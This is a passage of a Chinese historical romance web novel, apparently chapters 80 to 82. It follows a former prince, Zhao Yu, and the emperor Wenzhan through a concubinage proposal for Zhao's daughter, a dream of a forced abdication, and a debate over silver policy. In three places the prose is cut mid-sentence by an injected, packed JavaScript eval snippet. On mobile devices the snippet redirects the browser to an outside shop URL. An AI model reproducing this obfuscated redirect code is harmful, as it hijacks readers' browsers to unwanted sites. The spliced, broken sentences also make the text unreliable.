赵毓一看,文湛来了。 他对小草说,“哦,对,他是我的朋友。” 于是,罗小草到文湛面前,很有礼貌的说了一句,“叔叔好。” “……” 赵大妈带着小草到后院种花,文湛跟着赵毓到他的屋子里面,赵毓给他到了一盏茶水,他才问,“怎么回事?” 赵毓,“小孩没娘,说来话长。”说完,这话就彻底的没娘了。他又喝了两口茶水,再拍了拍自己的胸口,那股恶心的劲头似乎轻了一些。 “没事吧。”文湛看了看他,抬手摸了摸赵毓的额头。 “那天晚上,咱俩弄的有点狠。”赵毓忽然来了一句,“我会不会怀上了?” 文湛的交|欢犹如南诏绿孔雀,华美震撼、动人心魄,让赵毓在极峰之地心神俱碎,而且一碎再碎。 “……” 文湛从怀中拿出一个翡翠的雕花小瓶子,打开瓶塞,倒出一粒药丸,是御药房为赵毓准备的蜜丸,他直接喂到赵毓的口中。 “我哪有那个福气。” 他让赵毓坐在他腿上,随后伸出手指,解开赵毓的领口,顺着他心口的经络,一点一点用力揉,力道有时重有时轻,却可以把堵在赵毓心口的那块石头揉碎了,碾开。 “你总说我法严量窄,咱们两个,也不知道谁心眼更小。” 赵毓伸手按住文湛的手指,却反而被握住了,用一种握住稚鸟的力度。 “怎么能和你比,你是皇帝啊,是宰相的主君,俗话说宰相肚子可撑船,陛下的肚子可以装下整个运河码头呢!” 他说着,伸胳膊缠住文湛的肩膀,看着窗子外面。 暮秋了,忽然开始飘雨,像是天地之间的一道线,细却又阴冷。 文湛就这样安静的抱着他。 “御林军的韦睿,好像认识你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728938|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “谁?” “就是那天接过我的太刀下深潭的人。” “我不太记得他。”赵毓,“他一直在雍京,还是后来调入大正宫的?” 文湛,“他原先在东海水师。” “哦。”赵毓大约记起来,“应该是一场海战。” “东瀛这一代将军德川弘正君临江户城后,发布了一条异常严苛的法令,就是海禁,比我们的要严苛的多。他们原先允许大郑的官商在他们的长崎以丝绸换白银,但是德川弘正执政后,禁止东瀛的白银流入我国境内,只允许咱们用丝绸换铜。” “当时西北的战争已经进入尾声,依然需要大量的白银做军饷,我就从江南织造局的份额中抽掉了一批亲自押运到东瀛,不过不是长崎,而是鹿儿岛,那里是萨摩藩的土地。萨摩藩是强藩,一向与将军不合,大名岛津氏有胆量在德川将军的禁令下,还敢收咱们的丝绸,兑换白银。本来交易顺利,一切都挺好,就是回程的时候运气不好,也可能是岛津氏想要黑吃黑,总之,我们遇到了倭寇海盗。” “打了一场海战。我们用的船是东海水师最新下水的宝船,配了一百门长铳,直接把那些只知道挥舞大刀片的日本武士外加什么忍者都轰懵了。当时,那个韦睿应该就在船上。” 赵毓忽然记起来,那天晚上,在岸边用尖刀挑开他货品发现缂丝的年轻人,应该就是韦睿。其实,那些丝绸不是紧要的,当天最紧要的是另外一百船装了石脂水炼制的燃/烧/弹,那些才是赵毓和东海水师提督盛执玉敢绕过德川幕府,直接与岛津氏交易的本钱和底气。 文湛静静听着,似乎那场惊心动魄的海战只发生在纸上一般。 “为什么我不知道。” 赵毓,“当年为了瞒住你,我也是下了功夫的,……” 此时,院子中有人说话,赵大爷站在回廊下喊了一句,“老爷,左相大人来做客。” 楚蔷生? 赵毓很意外,“我以为楚楚最近忙的已经看不见日头了,没想到这青天白日的,他还能跑到我这里来,……” 没说完,就从文湛的腿上站起来,向外走,“呃,你留在这里,别出来,……” 文湛一把扯过他,在他领口敞开的地方火热疼辣的印上一口,这才给他把衣服领子重新扎结实,放他到前面的花厅见客。 楚蔷生还带了一位陌生人,年纪比楚蔷生大一些,也是文士的装扮。 “承怡,这位是梅太傅的儿子,梅慎言。” 太傅梅恒臣,江西大儒,三朝帝师,著书立传,桃李遍天下。 当年赵毓还在毓正宫读书的时候,梅恒臣为他上过课,只是当时梅太傅年事已高,只为他读了一部《论语》就致仕了。不过这位太傅倒是没有回乡,反而在雍京西山以西置办了田庄,闹中取静,安度晚年。 他的独子梅慎言并没有出仕,一直在故乡读书,听说则在白鹿洞书院讲学。 赵毓他们一直没有见过梅慎言,后者却知道他的真实身份。 楚蔷生他那个便宜爹还有他爷爷都是三湘名士,当年他爹死,他象征性的回乡丁忧,在所谓的家乡周围游学,也结交了很多朋友,所以,他同梅慎言倒是认识。 梅慎言看着赵毓,先是施礼,然后,……,不知道该怎么称呼赵毓。 “家父一直称呼先生为殿下,就连方才在家中,我们提起先生,家父也是这样称呼。我知道这样不合适,我称您为先生,可否?” 赵毓听着就笑了,“可以,说起来,您还算是师兄。叫我什么都可以。” 他将楚蔷生和梅慎言让到花厅,赵大爷重新泡了茶。 “蔷生带着梅师兄到我个小破园子来,有什么事吗?” 楚蔷生刚要说话,却看见坐自己对面的梅慎言已经起身,他想着自己身后应该还有来人,于是站起来,一转身,…… 皇帝! 他没想到就在此时,就在此地,以这样的方式面见君王! 文湛眼神极其微妙的看了他一眼,开口,“楚先生。” 是的。 平日在微音殿,这位帝王也是这样称呼他的宰辅。——楚先生。 他们一点也不想在微音殿外遇见。 赵毓连忙说,“梅师兄,这是我朋友,蔷生也认识,今天到我这里坐坐,既然大家都来了,一起坐,一起坐。” 一张石头圆桌,四个人,——诡异。 “梅师兄,您来我这里,一定是有事情。” “这件事非常难启齿。”梅慎言苦笑,“越是难以启齿的事情,越要明说。赵先生,我来,为我长子提亲。” 赵毓一愣,——梅家大公子? 梅太傅的长孙是今年新科的进士,庶吉士,储相,天子近臣,前途无量。 问题是,他已经成亲了。 梅家的长孙媳妇谢纯熙出自谢枯荣家族,谢氏七代翰林,三代内阁大学士,门生故吏满朝野。 他们两家联姻,就是清流豪族的顶级名门对清流豪族的顶级名门。 当年梅太傅长孙成亲的时候,赵毓还送过礼。 赵毓,“怎么,梅少夫人故去了?没听说啊,……” 梅慎言,“这句话说的真艰难,……,赵先生,我想为犬子,求令千金为贵妾。” 忽然,外面的雨下的开始紧了,击打在花厅外面的蔷薇上,散着冷香。 赵毓忽然一笑,拎着茶壶就给梅慎言续了水,“原来是大公子要纳妾,这俗话说,娶妻娶贤,纳妾纳色,坊间的一些王孙公子更是生冷不忌。梅师兄,您看我这个样子够不够为大公子侍奉枕席?” 他这胡言乱语说的何止是生冷不忌,简直就是图穷匕见了。 楚蔷生看了文湛一眼,…… 万箭穿心。 梅慎言承受了很大的痛苦一边,他咬着牙,继续说,“我那长媳自从产下孙女之后就伤了身体,以后无法再有孕。婚姻,上以事宗庙,下以继后世,梅氏不能绝嗣。我本来不敢高攀,只是家父的意念近乎孤绝。他说,如果先生愿意,令千金能够下嫁梅氏,生儿育女,等长媳撒手人寰,令千金就是梅氏正妻,主持中馈。只是,在这之前,还需要令千金委屈几年。” 赵毓没说话。——梅家这样做,从另外一面来讲,也是在逼迫生不了儿子的儿媳妇儿去死。 梅慎言,“俗话说抬头嫁女,低头娶媳,我们这是高攀。如果赵府女公子能下嫁梅氏,梅氏不敢要一分一毫的嫁妆,并且析祖产给女公子做聘礼。家父在雍京有庄子,在江西有,在姑苏也有,这些都给先生,不但可以保女公子一世,也可以保先生一世。” 清流豪族可不穷,这年头,没有身家,谁敢号称清流? 赵毓,“既然嫌弃你儿媳妇生不了儿子,怎么不让梅少夫人和离?” 梅慎言,“长媳虽有七出之罪,然却有侍奉婆母终老,与更三年丧之功,不能出妻。” 赵毓,“你们,……,是不是听见关于我的什么信儿了?” 梅慎言艰难的点了点头,“先生急需白银。” 所以,他们就乘着这个机会,用大量的土地砸他赵毓。赵格非虽然说是“赵府女公子”,其实就是草民赵毓的女儿。虽然外祖父是“西北王”尹明扬,但是母亲早逝,外公致仕,再说,她又不姓尹。 平时,他们自然不敢动让赵格非做妾的念头,但是现在不一样。草民赵毓不但没有功名,甚至连白银也没有了。他一无所有,只剩下一个前亲王的名头。所以,在那些人眼中,他的女儿做不了清流豪族的正妻,却可以做人家的贵妾。进门就要熬着,等熬到儿子出生,熬到人家正妻死掉,她也许就有出头之日了。 赵毓忽然想笑。 方才他还同情罗小草,现在自己落到相似的地步。 这个尘世,都是一层一层的草,上面一层可以随意收割下面的一层,甚至下面几层,露不出血淋漓,甚至还显得温柔和慈悲。 也许自己这个名头还值一些钱,毕竟人家为了得到格非,想要“析祖产”了。 “多谢梅太傅和梅师兄的美意。”赵毓说,“我不同意。我闺女的姻缘,她自己做主。她今年还小,才十三岁,不到谈论这个的时候。” 梅慎言,“这世上,谁家儿女的婚事不是父母之命,媒妁之言,……” 赵毓起身,“赵大叔,送客!” 说完,也不管外面的小院是否帝王将相围坐,鸿儒博学满花厅,他头也不回,径自回屋。 81. 81 81 赵毓屋子的窗户是打开的,正对着后院。 那里,赵大妈带着罗小草正在给那些花花草草浇水。看不出来,赵大妈是个有内秀的大妈,她将后院种的像孙大圣的花果山。 赵毓就这样安静的看着她们两个。 其实罗小草第二次回来挺伤心的,如果说第一次她被她爹卖了还能勉强说家里实在过不下去了,那么第二次被卖,她实在找不到合适的理由,说服自己,家里还“稀罕”她。现在天平光景,没战乱没兵灾没水灾没旱灾,家中有地,奶奶爹娘弟弟俱全,只是因为银价上涨缴不起今年的税就被卖给人贩子,还被卖了两次,这事搁谁身上也受不住。 赵毓看着看着,不觉天色已经擦黑。 赵大妈收拾了一下水桶,隔着一大片雏罂|粟,挥舞着粗壮的手臂,对赵毓喊话,“老爷,该做晚饭了,您晚上想吃啥?” “有啥吃啥!” 赵毓也喊了一嗓子,忽然感觉神清气爽。 打开屋门,发现文湛坐在外面的书桌上,安静的正在写字。 赵毓意外,“呃,你没走?” 文湛头也不抬,“你说送客,我又不是客。” 赵毓抓了抓头发,“哦,也对。” 他走过去,站在文湛身边,看看文湛在写啥。 ——“古者未有君臣、上下之时,民乱而不治。是以圣人列贵贱,制爵位,立名号,以别君臣上下之义。” 《商君书》,这是天下第一禁|书。 百姓读不得,士大夫读不得,权贵依旧读不得,却是太傅教导太子时候的必读之书,一向只有帝王与储君才能细读。 战国法家名士商鞅的这本巨著里面饱含了数千年来王朝屹立不倒的不传之秘,号称终极屠龙术。 ——有道之国,在于弱民。 为了长治久安,不惜以民生(只要不出现饥|荒)为代价,对外扩张征战,对内以森严礼教、严刑峻法镇压。 赵毓没说话,坐在文湛身边。 文湛又写了一会儿,将狼毫放在一旁,将毡子上的宣纸拿起来,看了看,“心乱,写的不好。” 随后,团成一团,扔到旁边煮茶的炭火中,烧了。 赵毓,“今晚,你是吃了饭再回宫,还是现在回宫?” 文湛看了他一眼,“你不回宫?” 赵毓忽然想起来自己说过,他同文湛如果想要把这份在荆棘中走出一条血流之路的感情维持下去,最重要的一点就是: 无论发生了什么不愉快,晚上一定要一个炕头睡觉。 他差点又把自己说过的话吃到狗肚子里了。 “哦,回去,一起回去。”赵毓说,“那就在这里吃饭,我看赵大妈做什么了?” 晚饭是菊花火锅涮肉。开了几张桌子,每台桌面上摆了一碟子一碟子的薄羊肉片,白菜豆腐还有粉条。糖蒜,芝麻酱,韭菜花,还有后街老头儿家的大块红方。赵毓不太爱吃羊肉,嫌膻,赵大妈专门给他切了一盘猪五花,肥瘦相间。于是,她架着炭火细细烤了,滋滋的味道,香气扑鼻。 饭菜很好,赵毓甚至还喝了两口源升号酒坊的二锅头。 酒足饭饱。 等赵毓回到宫里,凑到万寿宫看他闺女写大字的时候,身上还有淡淡的酒味。 赵格非被她亲爹在一旁的柔情似水的眼神膈应的手指不稳。 “亲爹,您这是怎么了?” “没事儿。”赵毓继续笑,“我就是觉得自己的良心又长回来了。” “良心?”赵格非,“亲爹,不会您真的想要把我抵押了借贷,随后良心发现,就把我给赎回来了吧。” “没。”赵毓,“是有人想要用大笔的祖产来买你,我二话不说,直接拒绝。” “谁?” “你不认识,一个大家族。”赵毓笑着喝茶,“要说,价钱给的真高,还不用陪嫁。” 赵格非,“这是要给八十的老爷做续弦?” 赵毓听闺女说这话,“怎么,之前有人也给你提过这种事?” “倒是没到我耳朵边上。”赵格非继续写她的簪花小楷,“我听外祖母身边的孙奶奶说过,荆襄那边有个藩王,六十多了,找了尹家三房那边的七婶子过来试探过。那边的意思是,续弦王妃,生了儿子名字能上宗室玉碟。” “名字能写在玉碟上有啥子稀奇,你亲爹我一出生名字就在宗室玉碟上,现在不也就混成这样吗?”赵毓,“这是哪辈子的事儿?我都不知道。” 赵格非,“外祖母直接挡了。”说完,她放下笔,“亲爹,当年您没被褫夺王爵的时候,议过亲吗?” “议过。”赵毓点头。 赵格非,“就是我娘吗?” “不是。”喝了酒,口干的难受,赵毓又倒了一盏茶,“我当时可是没实权、不得志的亲王,可不敢娶你娘这样的藩镇之女。娶了,就是表明自己有争夺帝位的野心。你没见过面的三叔倒是娶了军方世家之女,最后,……” 先帝三皇子羽澜被先帝赐死,他怀着孕的王妃被自己的娘家哥哥亲手勒死。 赵毓,“都不是什么好下场。” “那,亲爹您议亲的人是谁?”赵格非,“名门望族的闺秀?” 赵毓想了想,实在想不起来了,此时太贵妃进来,她身后的宫女给这爷俩端过来燕窝,放下,滴加了蜂蜜,才袖手退出。 太贵妃,“什么闺秀啊,当年,我想让你爹娶的是冉庄后面一条街上,卖酱菜的辛老六的闺女。” 赵格非,“……” 太贵妃,“我当时喜欢吃他们家的酱菜,就想着娶了他们的家闺女,以后就有不要钱的酱菜吃了。当时我想的挺美的,等你爹就藩,我就跟着过去,再带上两个大咸菜缸,一家人就不愁吃喝了。没想到,……,哎,人算不如天算。” 赵格非,“……”她安静的吃完燕窝,忽然想起来一件事,“亲爹,当年您的封地在哪里?” “原本是贵州的龙脊。”赵毓说,“后来就是雍京北绮镇那边一带。先帝说那边土地好,产的粮食多,把那里分给我,以后我吃的再多也不怕。还有,那里距离雍京城比较近,我去了那里不会太想家。不过说实话,封地这种事情吧,……” 大郑开国一千二百年,按理说宗室遍天下,藩王遍天下。可是,事实上却是,真正有封地,并且好好活着的藩王就小猫两三只。文湛说过,分封才是祸乱的根源,既然是祸乱的根源,就一定会铲除湮灭。 赵毓,“最后,也没什么好下场。” 说着说着,他有些犯困,太贵妃将他揪了出来,“你喝了酒找地儿睡觉去,让你闺女也清清静静的读几本书。” 出来到外殿,太贵妃忽然问他,“刚才你说,有人用大笔祖产买花骨朵,是谁?” 赵毓,“梅太傅。” 太贵妃一愣,“那老头有九十了吧,还活着呢?怎么,他要花骨朵做续弦?” 赵毓,“他长孙的贵妾。” 太贵妃,“……” 末了,来了一句,“好歹是个年轻后生。” 赵毓反问她,“娘,你怎么这么淡定?” “听得多,也见得多了。”太贵妃,“你这个闺女,真不好找婆家。高不成低不就,难,真难。” “孩子还小,以后再说。不过,……”赵毓,“我认得梅家的长孙媳。” 太贵妃,“谢枯荣家的闺女?” “嗯。”赵毓点头。 太贵妃,“你怎么认得人家?” 赵毓,“七年前,格非的娘去世,先帝也崩了,我回雍京奔丧,云中那边我丈母娘病的好悬没咽气,所以我守孝的时候就让尹家把花骨朵送到雍京。当时买了院子,想着以后就在雍京过活。谢枯荣是大家,他们家有家学,而且谢氏见识不凡,他们家不认为女子无才便是德,族中所有的闺女都和小子们一起读书,功课都一样,只是不学八股。我想让格非进谢氏家学,去了一趟,当年,跟在老先生身边读《楚辞》的就是那个小姑娘。” 当年的赵毓真想在雍京守孝三年,没想到西疆战事紧急,他连一年都没守完就回西北了。 赵格非也带回了云中。 赵毓,“当年的谢纯熙年纪还不大,书读得很好,人也落落大方,有世家贵女的傲气,却没有那些读书人的空疏迂阔。后来我听说她嫁入梅氏,当时想着这姻缘真是天造地设的一对儿,门当户对,匹配极了,我还送了贺礼。今年初,听说梅家的大公子也考出来了,一切都挺好的,真没想到,最后是这么个结果。” 太贵妃拍了拍他的肩膀,“咸吃萝卜淡操心,别想别人了,想想你自己吧。对了,你表哥最近也找不到你,他让人告诉我,等见到你的时候,给你带个话。他那边的事情有眉目了,等手中的料再足一些的时候,他再过来告诉你。” 赵毓回到寝宫,黄枞菖捧过来热茶,他喝了一口,就感觉嗓子扎扎的。夜里上榻,他对文湛说,“今晚你睡里面,我不太舒服,半夜可能要起来。” “不舒服就叫醒我。”文湛还是让他睡在里面,“你在里面我安心。” 赵毓不再争,安静躺好,他闭上眼睛,感觉到文湛的手指在他额头上试了试。 “方才在我娘那里吃燕窝,她说,原先给我议过亲,……”赵毓,“我不记得了。” 文湛的手指拿开。 赵毓,“是冉庄我们后街卖酱菜家的闺女。” 文湛也躺好,外面绞金丝的缂丝帘幕放下。 赵毓,“当年我娘要是不嫁给我那个倒霉亲爹,她应该嫁给前街香油铺的老陈家。呃,……其实左边村子槐树下的老白家也不错,他们家是铁匠。这样要是再有了我,我天生不是会捶香油,就是会打铁。花骨朵到了议亲的时候,估计彩礼也就几十斤小米,连二亩水浇地都不会有。哎,也不知道辛老六家的闺女现在做什么?” 文湛忽然说,“她嫁给了左边村子槐树下的老白家,生的孩子也大了,今年,她第一个儿子到崔珩在冉庄的店铺做工。” “哦。” 赵毓闭着眼睛,他也就是有一搭没一搭的说话。 忽然,他睁开眼睛,“文湛,你怎么知道辛老六是谁?我没告诉你当年我娘给我议的亲事就是他们家的闺女。” 文湛不说话。 又过了一会儿,赵毓,“既然梅太傅嫌弃孙媳妇生不出儿子,为什么不和离?今生缘分至此,从此男婚女嫁,一别两宽,各自欢喜。梅慎言说什么儿媳妇虽有七出之罪,但是有与更三年丧之功,我觉得这个理由站不住脚,谢家姑娘又不会死抱着他们家不走。不说和离,就算谢姑娘被休,我都不信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵毓听见了自己的声音,——“皇上,我娘说过,我爹是为了您,为了大郑江山而死的。您忍心看到我爹身受千刃凌迟之苦,身后万世骂名换来的清平盛世,还有您一生心血付之东流?” 先帝的眼睛只是看着画像,静静的看着。 砰!砰!!砰!!——火炮轰鸣,这是召集军队的硝烟,五彩的烟花在雍京城上空炸开,弥漫了整个天际,然后四散纷乱,归于静寂。 战事迫在眉睫。 “万方有罪,罪在朕躬。”此时,先帝竟然笑了,“李芳,拿纸笔,玉玺过来。” 退位诏书:《书》言,其大道之行,必选贤与能,夫人之力终有衰也。则妄步先圣尧舜之踵武,继传帝业以子文湛,以望奋先祖之宏烈,成万世未竟之功! 最后一笔顿了一下,力透纸背。 李芳颤抖的捧过来传国玉玺,先帝正要加盖,却发现朱砂已经干涸,用力按了一下,却依然没有痕迹。 赵毓上前,从袖子中拿出匕首,划开自己的手腕,鲜血喷出,倾倒入朱砂盒中,再印在玉玺背面。 先帝手腕一用力,最终,大印盖在退位诏书上。随即他扔了狼毫,忽然叫住赵毓说,“这条路是你自己选的,从今往后,再也没有人可以制住文湛,你的生死荣辱,只看造化了……” 赵毓抬头看着他,一字一句的说,“陛下,您以我为子,我却忤逆父皇,身为大郑的臣子,却胁迫陛下,逼您退位,这是大逆不道!我是罪人,再无面目存活于天地之间。” 说完,他手中的匕首调转方向,冲着自己的心口,狠狠的扎了进去! …… 啊!!!—— 赵毓一惊,从床榻上坐了起来。 文湛就在他身边,被从睡梦中惊醒,他连忙坐起,看着赵毓,用手摸了摸他的额头,尽是冷汗! 可是,他却发现赵毓根本没有醒。 …… 匕首入肉三分,硬生生的停住了。 先帝近身上前,单手伸出,五根手指抓住赵毓的刀刃,皮肤割开,血呼啦啦的流了下来。赵毓惊愕的抬头看他,他却神色如常,只是眼睛深处闪着一丝狰狞,似乎过去的噩梦,仍然纠葛至今一般。 “放手!”先帝轻轻说了一句,继而大喝一声,“放手!” 赵毓手指一软,没有抓稳匕首,被先帝夺了过去。 “儿子,很难过吗?” 先帝,“别怕。” 说着,李芳搀着他起身,他身上黑丝袍服上,绣着一条盘旋于云端的五爪腾龙,睁大了浑圆的眼睛,居高临下的俯视着众生。 先帝,“该怕的,该难过的,还在后面。毓儿,如果你觉得活不下去了,就想想朕。是朕不要你死的,要你活着。朕知道自己的命数,活不了多久了,那你就替朕活着,做朕的眼睛,当朕的耳朵,替朕看看,朕留下的这个治平之世,到了文湛手中,终究会变成怎样的光景?” …… 难过吗? 怕吗? 该怕的,该难过的,还在后面。 …… 半夜开始发热,赵毓烧的迷迷糊糊的,冷汗出了一层又一层,清晨的时候,高热却奇迹般的退去了。 他睁开眼睛。 身上潮湿的衣服被褪去,他一直在一个干燥而温暖的怀抱中。 文湛一夜未合眼。 “醒了?” “嗯,醒了。” 噩梦醒来,就是黎明。 82. 82 82 赵毓晚上没睡好,白天断断续续的补了觉,一直到晌午,精神才好一些。 “圣上看您睡着了才去的微音殿,估摸着一会儿就能回来。”黄枞菖陪着赵毓去温泉,伺候他穿衣的时候,发现仅仅过了一夜,赵毓眼看着消瘦了,后背是纵横交错的陈年伤疤,却挡不住脊椎骨一根一根的露出来。“您想吃点什么,有米粥还有乌鸡松茸汤。” “给我弄点米汤吧,米粥喝的糊嘴。” 赵毓披着头发坐在长榻上,手边一个小木桌,摆着几个瓷碟子,里面是寿春宫送过来的点心,都是太贵妃亲手做的。赵毓胃口不好的时候就吃他娘做的东西,还能多吃几口。 黄枞菖捧过来米汤,放在赵毓手边,忽然有些神秘的说了一句,“祖宗,有稀罕事。” “太阳从西边出来了?” “比那还稀罕。”黄枞菖说,“我今早去太贵妃的寿春宫取点心的时候,太贵妃拐着弯的告诉我的。” 赵毓拿着勺子和弄了一下米汤,开始喝。他不表现的异常好奇,反正黄枞菖一定会告诉他。 “祖宗,我听太贵妃说,谢枯荣谢大人拐着弯的找人给寿春宫递了话,想见您。” 赵毓听着叹了口气,——估计是梅少夫人的事情。 可是找他能有什么用? “他们家的这个事情吧,找我真没用。” 黄枞菖不明白,“为什么?” “还有什么为什么?”赵毓,“懒得说。” “可是,这事儿,还真的找您。”黄枞菖的声音犹如蚊子嗡嗡,“听太贵妃那个话里话外的意思是,谢枯荣想用家中的嫡次女与您联姻。” 赵毓,“……” 这个谢枯荣,就算因为嫡长女梅家少夫人的事情与梅太傅家族结仇,也不至于下这么大的本钱来拉扯他赵毓进战局。再说,他赵毓家就只有一个半大的丫头,家中又没儿子,谢枯荣家族中的这个嫡次女送过来与谁联姻?赵毓忽然想起来一个人,和谢家这个嫡次女还挺般配。——崔珩! 只是。勋贵一般不与清流豪族联姻,宁淮侯崔珩尚主不是什么稀罕事,但是老崔要是娶了谢枯荣家的二丫头,那真的可以稀罕稀罕了。 赵毓,“谢家这个二丫头太小了。我估摸着,她也就比花骨朵大一两岁。” 黄枞菖,“今年十五,刚及笄。” 赵毓,“我娘做梦都想让老崔娶老婆生儿子,……。算了,这事儿我不推,可我也不管。黄瓜,以后我娘再说啥,你就假装听不见,让我娘自己跟老崔说去。” 黄枞菖一愣,“这同宁淮侯有什么关系?” 赵毓继续吃点心喝米汤,“谢枯荣不是要联姻嘛,他们家的二丫头不跟崔珩联姻,还能跟谁联姻?我家就老崔一个光棍,不是他娶还能谁娶?花骨朵是一个闺女,又不是儿子可以娶谢家的姑娘。” “谢家想要联姻的人,是您,祖宗。”黄枞菖说话的时候像个木雕石像,“谢枯荣想要把嫡次女给您继室。” 喷!!! 赵毓口中的米汤和点心渣一下子都喷到了黄瓜的脸上。 文湛进殿,他先是试了试了温度,感觉还适宜,于是只是吩咐身边伺候的人熏上南海新进的汨罗昙花香。这是几十种珍惜花草和草药密炼成的名贵香料,味道清新淡雅,有凝神静气的功效。 “怎么了?” 赵毓一直在咳嗽,文湛没有换掉黑色缂丝常服就到他身边,半跪在赵毓面前的脚踏上。他让赵毓咳嗽的时候可以枕在自己的肩上,没那么难受。赵毓刚才受惊过度,现在还缓不过来。他一直捂嘴,还是挡不住咳嗽,最终,他终于咳的都没有力气了,这才逐渐平息下来。 “没事儿,吃东西不小心岔气了。黄瓜,给我倒口水。……,呃,算了,我让别人给我倒水吧,你快去洗洗,换身衣服。刚才真是对不住。” 黄枞菖板着一张木雕石塑的脸,连忙遁了。 文湛就着这个姿势抱着赵毓,一点一点轻轻拍着他的后背。 赵毓,“呃,我好了。你起来吧,别这么跪着,多硌得慌。” 文湛的手就在赵毓后背上,——硌手。 寝殿内烧着热熏炉,赵毓身上的衣服不多,他后背撑起的脊骨隔着两层软缎衣袍都能让文湛的手心感觉到。 七年前,先帝驾崩,赵毓回来奔丧也是这个样子。 先帝临终之前,他见过最后一面,随后,赵毓就像一个被风干的凌翅鸟,以眼睛可以感知的速度消瘦了下去。 就好像,正在煎熬着生命。 地面不干净,需要收拾。 文湛站起来,也一把就把赵毓抱了起来,放到临水面的雕花窗旁的软塌上,隔着几重垂帘,看着外面太液池一片残荷。随后,他伸手拿过旁边的抱枕放在赵毓腰间,让他半躺半靠。赵毓对文湛说,“你昨晚都没睡,刚才一直在微音殿,困不困,要不要歪一会儿?” “好。” 他就躺在他的怀中。 他感觉到赵毓的手指按在自己额头两侧,轻轻缓缓的揉着。——如果这一刻死去,是不是就是一生一世? “我小的时候,夏天读书读到中暑,你就是这样给我揉额头的。” “呃,……”好像是吧,赵毓不太记得了。 “当时我就想着,如果你能一直这样对我,东宫储位我都可以不要。” “呃,……”陛下,您没这么没出息吧。 “骗你的。”文湛闭着眼睛,忽然笑了,“当时我想到是,一出生我就被钉死在这个位子上,我不想成为孤家寡人,即使是死,我也要拖着你一起。” “可是,……” “我现在有些后悔了,承怡。” “父皇本来给了我们最好的安排,让我毁了。” 当年承怡是宠冠诸王的皇长子,没有强悍的外戚,没有实权,没有登皇位的野心,自小与太子一起读书,长大后,也不会帮着别人害文湛。 等先帝驾崩,文湛登基,承怡可以到一个富庶的封地,带着他的娘亲安安逸逸的过着小日子。 时日久了,他与已经成为皇帝的文湛只在冬至祭天大典上远远的见上一面;时日再久一些,见也见不到了。 文湛去成就他的不世伟业,承怡继续他的小日子。 千秋之后,一切掩埋在故纸堆中。 赵毓就是安静的听着,他的手指没有停下,继续给文湛按压着。 “香。”文湛忽然说。 赵毓看看旁边,黄金熏炉烟雾缭绕,“你让人点燃了熏香。” 文湛,“我是说你。” 赵毓,“哦。” 一会儿。 赵毓,“今天在微音殿遇到糟心事了吗?怎么这么多的感慨?” 文湛,“两件事。” 赵毓,“什么?” 文湛,“一、开银禁。二,开海禁。” 赵毓,“开海禁这个事情嘛,还算是个好事情。开放口岸可以对外贸易,不说别的,只说海关关税就是一个大金矿,等时机成熟了,可以徐徐图之。 至于开银禁这种断子绝孙的提议是哪个王八蛋提出来的? 肯定是你那个穷疯了的户部尚书梁崇山! 他们大户以高昂的银价吸小民百姓的血,却反过来还骂小老百姓见利忘义,贪,抢着趸白银这才导致银价暴涨,他还说什么小民虽愚,牟利则智! 真是混账透顶。” 大郑有银禁,是因为白银不是大郑的法定货币。 大郑的法定货币是“中统开天行道肇纪立极大圣至神仁文义武俊德成功大宝钞”,简称“中统大宝钞”。这是五百年前,由德宗皇帝在中统元年交由户部发行,并且责令大郑全境使用的法定流通货币。更重要的是,“中统大宝钞”不是金银这样的贵重金属,而是印在白色丝绢木棉纸的票子。 本来“中统大宝钞”在大郑流通的非常顺畅,稳定,每年贬值不超过一成。可惜,毁灭于战乱。 当年国家藩镇林立,疆土分裂,原本宪宗的叔父是皇帝,这位帝王想要重新一统江山急需军饷,就滥发“中统大宝钞”来聚敛民财。结果,大宝钞与江山一起崩溃了。那位先祖永诀太庙。宪宗皇帝在一片荒芜中结束了乱世,大郑疆域在他的王师征战下倒是重新合拢,只是,他再也无法重新发行已经信用碎裂的纸币。 此后的三百年间,民间和朝廷,还有商贾等等多方势力进行博弈,最后呈现了现在这么个局面: 以计量重量和纯度的白银为不可撼动地位的货币。 只是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728940|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它妾身未明,没有朝廷承认的不可撼动的地位。 白银做货币,是天道将大郑逼到绝境之后最后一片栖身之所,却不是救赎之地。 这里是刀丛遍地的嗜血之地。 因为。大郑全境几乎不产白银。即使有银矿,产量也十分稀少。 银荒,银荒,银荒,难以破解的困局。 如果开银禁,短时期看来,也许银荒有所缓解,应该好景不长。朝廷的禁令一解除,大户会比现在疯狂十倍的囤积白银,到时候,大郑全境马上就会出现如今雍京出现的困境。 银价高昂。 百姓穷困潦倒,户部潦倒穷困。 至于银子究竟去了哪里? 天知道! 文湛没睁眼,“为什么不能开银禁?” “朝廷无法全然控制白银。”赵毓,“因为白银是聚天地之气的圣物,它有自己的价值,它就是自己的神明。这种东西就像是凶兽,如果一旦给了它一点点超出货币的含义,它就开始嗜血。现在的雍京城就是一个鲜活的例子。大户们将白银深埋地下,而这些被深埋的白银依旧可以吸那些没有白银的小民百姓的血。” 